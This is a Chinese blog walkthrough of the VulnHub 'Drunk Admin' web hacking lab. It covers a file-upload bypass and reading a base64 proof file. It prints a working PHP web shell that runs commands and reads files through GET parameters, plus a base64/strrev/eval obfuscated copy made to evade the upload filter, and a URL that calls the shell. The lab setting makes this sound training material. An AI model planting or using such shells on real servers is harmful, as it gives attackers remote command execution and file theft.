drunk_admin_hacking_challenge靶机之旅？

注：只是记录本人玩的时候发现的新奇点如果你也想玩且看了这篇文章还是不会，请联系gg

靶机下载地址

https://www.vulnhub.com/entry/drunk-admin-web-hacking-challenge-1,14/

国内有https://www.freebuf.com/column/196648.html 但是nc反弹这里我一直不成功，无法只好坐飞机看了看

解压打开vmx直接就可以进入到靶机中

可以自己配一个net，然后有自动分配ip，

玩了几个靶机，感觉端口开始还是进行端口扫描，建议扫描65535全部端口，但是这里给出了开放的web端口地址

打开后，先进行的是目录扫描，直接参考fb里的大佬

很明显的就是一个文件上传

但是这里有过滤，简单看了眼

$_GET $_POST

绕过其实也很简单，看了一下 base64即可

<?php
	if( !empty($_GET['file'])) 
		 echo htmlspecialchars( file_get_contents( $_GET['file'], true) ); 
	if( !empty($_GET['command'])) 
	{ 
		exec( $_GET['command'], $retval);
		foreach( $retval as $r )
		{
			echo $r."<br/>";
		} 
	} 
?>


base64后
<?php 
	$k = strrev( "edoced_4" . "6esab" );
	
 	eval( $k("aWYoICFlbXB0eSgkX0dFVFsnZmlsZSddKSkgZWNobyBodG1sc3BlY2lhbGNoYXJzKG
			  ZpbGVfZ2V0X2NvbnRlbnRzKCRfR0VUWydmaWxlJ10sIHRydWUpKTsNCmlmKCAhZW1w
			  dHkoJF9HRVRbJ2NvbW1hbmQnXSkpIHsgZXhlYyggJF9HRVRbJ2NvbW1hbmQnXSwgJH
			  JldHZhbCk7Zm9yZWFjaCggJHJldHZhbCBhcyAkciApe2VjaG8gJHIuIjxici8+Ijt9
			  IH0NCmRpZSggJzxici8+PGJyLz5pc3BvJyApOw0K")
		);
?>

上传后，

http://192.168.2.133:8880/images/d120ed170f8347cf63faf52c27d0d9e7?command=ls%20-la%20..

有一个.proof

是一个base64的文件

使用echo xxxxxxxxxx|base64 -d 解码

如果一个用户目录下有一个网站访问

http://192.168.2.133:8880//~bob/

http://192.168.2.133:8880//~xm17/

drunk_admin_hacking_challenge靶机之旅？

猜你喜欢